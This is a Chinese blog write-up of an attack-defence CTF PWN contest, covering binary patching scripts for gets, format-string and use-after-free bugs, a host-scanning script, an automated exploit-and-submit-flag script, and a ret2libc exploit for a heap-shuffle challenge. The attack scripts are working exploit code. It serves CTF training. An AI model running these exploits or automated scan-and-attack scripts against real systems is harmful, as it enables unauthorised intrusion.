AWD PWN 初体验


前言

这次打区赛因为决赛是 AWD,所以特地研究了一下 AWD 的 PWN。

准备了五天的时间,结果准备的东西一点都没用上。。。

去做了三个小时的牢,全靠队友发力了。

不过没想到这次比赛的最大得分点竟然是 ssh 爆破。

加固时主办方提醒了两次,结果还是只有5个队修改了 ssh 默认密码。

再加上过了加固时间不能重置环境,最后一个 ssh 爆破横扫天下,气的主办方吐槽进了决赛还不知道修改默认密码。

最后 PWN 0解。。。

比赛流程

AWD平台功能接口

  • flag提交

通过脚本进行批量交flag,平台会提供提交 flag 接口。

线程不要调太大,要不然容易被裁判警告。

  • 比赛实时信息

就是谁攻击了谁这种,纯好看而已。。。

  • 通过扫描获取对手IP

写个扫描脚本或者用工具都行。

快速定位题目服务

  • 主办方给出题目端口

直接nc连接查看。

  • 主办方没给出题目端口

netstat -anp命令分析题目端口。

运维Gamebox

  • 各个队伍以CTF用户登陆
  • 通过 ssh 登陆
    • 密码登陆
  • 修改默认密码
    • 注意首先passwd修改默认密码

题目在Gamebox中的部署方式

两种方式。

  • xinetd
    • /etc/xinetd.d配置
  • socat
    • socat tcp-l:9999,fork exec:./pwn,reuseaddr

常见路径

pwn程序常见存放路径:

  • /...
  • /vuln/...
  • /home/...
  • /home/ctf/...

工作流程

  • 运维
    • 快速熟悉服务器配置
      • 系统libc版本
      • 题目在哪个文件夹里面
  • 攻击
    • 在找到漏洞,修补完成的基础上,要尽量攻击别人才能得分
    • 要求现场快速根据漏洞写成利用程序,读取对手 flag
    • 攻击需要自动化,同时攻击多个对手,攻击成功要自动提交 flag 获得分数
    • 攻击流程
      • 连接服务器
      • 利用工具将程序复制到本地
      • 本地分析程序,找到漏洞,写 exp 打
  • 防御
    • 通过脚本进行快速修补

比赛的时候用 MobaXterm 拉文件速度太慢,最后使用 scp 成功将文件拉了下来。

  • scp
1
2
3
4
#下载文件到本地
scp username@remotehost:/ctf/pwn ./
#上传文件到远程
scp demo.txt username@remotehost:/ctf/

加固

一般 AWD 是没有源码的,如果有源码的话只需要分析代码漏洞然后修改代码之后通过 gcc 编译就行了。这只需要熟悉 gcc 的一些命令参数。

在没有源代码的情况下就需要通过一些工具来进行 patch 了,比如 ida,以及一些师傅编写好的工具脚本。

首先明确比赛规则,加固是禁止上通防的。

但是也得看主办方的 check 严不严。。。

这里主要用到以下工具:

整数溢出

这个结合实际情况用 ida keypatch 修改就行了。

  • 无符号跳转
汇编指令 描述
JA 无符号大于则跳转
JNA 无符号不大于则跳转
JAE 无符号大于等于则跳转(同JNB)
JNAE 无符号不大于等于则跳转(同JB)
JB 无符号小于则跳转
JNB 无符号不小于则跳转
JBE 无符号小于等于则跳转(同JNA)
JBNE 无符号不小于等于则跳转(同JA)
  • 有符号跳转
汇编指令 描述
JG 有符号大于则跳转
JNG 有符号不大于则跳转
JGE 有符号大于等于则跳转(同JNL)
JNGE 有符号不大于等于则跳转(同JL)
JL 有符号小于则跳转
JNL 有符号不小于则跳转
JLE 有符号小于等于则跳转(同JNG)
JNLE 有符号不小于等于则跳转(同JG)

栈溢出

  • readfgets函数

这类函数比较好改,直接改输入参数大小就行。

  • gets

call gets地址替换为jmp .eh_frame地址,然后在.eh_frame中填充汇编代码。

我们可以通过AWDPwnPatcher脚本来实现。

  • 32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3 
from AwdPwnPatcher import *
import sys

binary = sys.argv[1]
#call gets汇编地址
call_gets=int(sys.argv[2],16)
#下一条汇编地址
next_addr=int(sys.argv[3],16)

awd_pwn_patcher = AwdPwnPatcher(binary)
jmp_address=awd_pwn_patcher.eh_frame_addr

assembly = """
jmp {}
""".format(hex(jmp_address))

awd_pwn_patcher.patch_by_jmp(call_gets, jmp_to=jmp_address, assembly=assembly)

assembly = """
mov esi,edi
mov edi,0
mov edx,4h
xor eax,eax
int 80h
jmp {}
""".format(hex(next_addr))

awd_pwn_patcher.add_patch_in_ehframe(assembly=assembly)

awd_pwn_patcher.save()
  • 64位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3 
from AwdPwnPatcher import *
import sys

binary = sys.argv[1]
#call gets汇编地址
call_gets=int(sys.argv[2],16)
#下一条汇编地址
next_addr=int(sys.argv[3],16)

awd_pwn_patcher = AwdPwnPatcher(binary)
jmp_address=awd_pwn_patcher.eh_frame_addr

assembly = """
jmp {}
""".format(hex(jmp_address))

awd_pwn_patcher.patch_by_jmp(call_gets, jmp_to=jmp_address, assembly=assembly)

assembly = """
mov rsi,rdi
mov rdi,0
mov rdx,4h
xor rax,rax
syscall
jmp {}
""".format(hex(next_addr))

awd_pwn_patcher.add_patch_in_ehframe(assembly=assembly)

awd_pwn_patcher.save()

最后我们需要修改标志位从而给.eh_frame段可执行权限。

Typeflags修改为 1 和 7。

  • scanf

通过 ida 将格式化字符串%s替换为%d

格式化字符串

通过AwdPwnPatcher脚本进行加固。

  • 32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3 
from AwdPwnPatcher import *
import sys

binary = sys.argv[1]
#call printf汇编地址
call_printf = int(sys.argv[2],16)
print(hex(call_printf))

awd_pwn_patcher = AwdPwnPatcher(binary)

awd_pwn_patcher.patch_fmt_by_call(call_printf)

awd_pwn_patcher.save()
  • 64位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3 
from AwdPwnPatcher import *

binary = sys.argv[1]
#mov eax汇编地址
mov_eax = int(sys.argv[2],16)
#call printf汇编地址
call_printf = int(sys.argv[3],16)
awd_pwn_patcher = AwdPwnPatcher(binary)

fmt_offset = awd_pwn_patcher.add_constant_in_ehframe("%s\\x00\\x00") #添加%s

assembly = """
mov rsi, qword ptr [rbp-0x8]
lea rdi, qword ptr [{}]
""".format(hex(fmt_offset))

awd_pwn_patcher.patch_by_jmp(mov_eax, jmp_to=call_printf, assembly=assembly)
awd_pwn_patcher.save()

UAF

  • 32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3 
from AwdPwnPatcher import *

binary = sys.argv[1]
#call free汇编地址
call_free = int(sys.argv[2],16)
#下一条汇编指令的地址
next_addr = int(sys.argv[3],16)

awd_pwn_patcher = AwdPwnPatcher(binary)

assembly = """
add esp, 0x10
mov eax, 0
mov edx, dword ptr [ebp - 0x20]
mov eax, 0x804a060
lea eax, dword ptr [eax + edx*4]
mov dword ptr [eax], 0
"""

awd_pwn_patcher.patch_by_jmp(call_free, jmp_to=next_addr, assembly=assembly)
awd_pwn_patcher.save()
  • 64位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3 
from AwdPwnPatcher import *

binary = sys.argv[1]
#call free汇编地址
call_free = int(sys.argv[2],16)
#下一条汇编指令的地址
next_addr = int(sys.argv[3],16)

awd_pwn_patcher = AwdPwnPatcher(binary)

assembly = """
mov eax, 0
mov eax, dword ptr [rbp - 0x1c]
cdqe
lea rdx, qword ptr [0x201040]
lea rax, qword ptr [rdx + rax*8]
mov qword ptr [rax], 0
"""

awd_pwn_patcher.patch_by_jmp(call_free, jmp_to=next_addr, assembly=assembly)
awd_pwn_patcher.save()

evilPatcher

通过 evilPatcher 工具我们可以加沙箱进行通防。

  • 使用
1
python3 evilPatcher.py file_name sandboxfile
  • sandboxfile

白名单

1
2
3
4
5
A = sys_number
A != exit ? dead : next
return ALLOW
dead:
return KILL

pwn_waf

pwn_waf有多个功能,比如捕获模式的流量监控、防御模式的防止获取shell。

不过防御模式风险太大,我是不敢用的。。。

所以这里就只讲一下流量监控,我们可以在/tmp/目录下创建一个.waf文件夹并赋予权限可读可写可执行权限。

然后修改makefile文件中的log path为该文件夹路径,make编译后将pwn文件和编译生成的catch放到创建的文件夹中,再用catch替换掉pwn文件然后部署,此时exp打用catch替换的pwn文件即可在创建的文件夹中接收到流量。

这样我们就可以通过抄流量来进行反打了。

攻击

比赛还是要靠攻击来得分的,说白了还是要看能不能解出题。

在没给出对手目标 IP 的情况下我们需要进行扫描。

  • 扫描脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import os
import threading
from concurrent.futures import ThreadPoolExecutor

li = lambda x: print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x: print('\x1b[01;38;5;2m' + x + '\x1b[0m')

def check_ip(i):
ip = f'192.168.74.{i}' # 扫描的内网地址格式,按需修改
try:
response = os.system(f"ping -c 1 -w 1 {ip} > /dev/null 2>&1")

if response == 0:
li(f'[+] {ip} 存活')
return ip
except Exception as e:
ll(f'[-] {ip} 扫描出错: {str(e)}')
return None

def save_hosts(ip_list):
try:
with open('hosts.txt', 'a+') as f:
for ip in ip_list:
if ip:
f.write(f'{ip}\n')
except Exception as e:
ll(f'[-] 保存文件失败: {str(e)}')

def main():
os.system("rm ./hosts.txt")
NUM_THREADS = 250
alive_ips = []

with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
results = executor.map(check_ip, range(1, 256))

for result in results:
if result:
alive_ips.append(result)

save_hosts(alive_ips)
ll("[+] IP 扫描完成")
main()

然后就是正常的打 pwn 流程,不过一个一个打的情况下效率会很低。所以我们可以写一个自动cat flag然后自动提交的脚本。

攻击的时候注意 Gamebox 的 libc 版本和本地调试时一致,否则 exp 可能打不通。

  • 自动攻击提交 flag 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import requests
from pwn import *
import threading
import time
import os
import json

context.log_level="debug"

ip = "192-168-1-208.pvp5604.bugku.cn"
flag_file = b'./flag'
token="b27002959b87fb25f4aa6759e3c91385"
port = [8802,8806]
threads = []

def exp():
io.recv()
io.sendline("123456")
io.recv()
io.sendline(b"%43$p")
io.recvuntil(b"0x")
canary=int(io.recvn(8),16)
print(hex(canary))

payload=b"a"*150+p32(canary)+p32(0)*3+p32(0x8048670)+p32(0)+p32(0x804A044)
io.recv()
io.sendline(payload)

io.sendline(b"cat "+flag_file)
flag=io.recvline()
flag=flag.strip(b"\n")
return flag

def submit(flag,token):
api_url="https://ctf.bugku.com/pvp/submit.html?token=["+token+"]&flag=["+str(flag)+"]"
response = requests.post(api_url)
re=response.text
print(re)

for i in port:
io=remote(ip,i)
time.sleep(0.3)
flag=exp()
print("已经获取flag",flag)
submit(flag,token)
io.close()

广西区赛 PWN WP

  • 分析

ldd --version查看目标系统 libc 版本,发现为 3.35 版本。

系统版本大概为 Ubuntu22,这个版本的系统编译后的程序很多构造ROP链的 gadget 都没了。

最后只找到了这些。。。

1
2
3
0x00000000004012dd : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401373 : ret 0x8b48

那很明显题目的考点可能并不是传统的构造 ROP链。

查保护发现只有 NX 和 PIE 保护。

1
2
3
4
5
6
7
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

接下来就是看着抽象的伪代码拿 ida 不断的修了。

修完后的

函数窗口发现了一个可疑函数

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
from pwn import *
from ctypes import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')
rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

#dbg()
#菜单
def add_message(content):
    sla('🤗'.encode(), b'1')
    sla('😙'.encode(), content)

def show_message():
    sla('🤗'.encode(), b'2')

def dele_message(idx):
    sla('🤗'.encode(), b'3')
    sla('😥'.encode(), str(idx).encode())

#通过伪随机数生成器对数据进行“反向”洗牌操作。通过传入的 seed 来初始化伪随机数生成器。
def reverse_shuffle(data: list, group_size: int = 0x100, seed: int = 0x721) -> list:
    def c_srand(seed):
        rand.srand(seed)

    def c_rand():
        return rand.rand()

    def generate_indices(count, seed):
        c_srand(seed)
        indices = []
        for i in range(count - 1, 0, -1):
            j = c_rand() % (i + 1)
            indices.append((i, j))
        return indices

    groups = data
    count = len(groups)
    indices = generate_indices(count, seed)

    for i, j in reversed(indices):
        groups[i], groups[j] = groups[j], groups[i]
    return groups

pop_rdi_printf = 0x401579
ret = 0x040101A
data = [b'a' * 0xE0] * 0x12 + [b'a' * 0x40 + b'\x01']
input = reverse_shuffle(data + [p64(0x13), p64(0xDEADBEEF)] + [p64(ret), p64(pop_rdi_printf), p64(0x404030), p64(0x401849)])

for i in input:
    add_message(i)
show_message()

libc.address = l64() - libc.sym.printf
lg("libc base",libc.address)

data = [b'a' * 0xE0] * 0x12 + [b'a' * 0x40 + b'\x01']
pop_rdi_ret = libc.address + 0x2A3E5

input = reverse_shuffle(
    data + [p64(0x13), p64(0xDEADBEEF)] + [p64(ret), p64(pop_rdi_ret), p64(next(libc.search(b'/bin/sh\x00'))), p64(libc.sym.system)]
)

for i in input:
    add_message(i)
show_message()

ia()

后言

感觉这题最大的难度就是在于逆向逻辑。。。

可惜没解出来,挺失落的。。。

不过也有幸认识了很多厉害的师傅。

参考:AWD_PWN | StarrySky
参考:AWDPwn 漏洞加固总结 - FreeBuf网络安全行业门户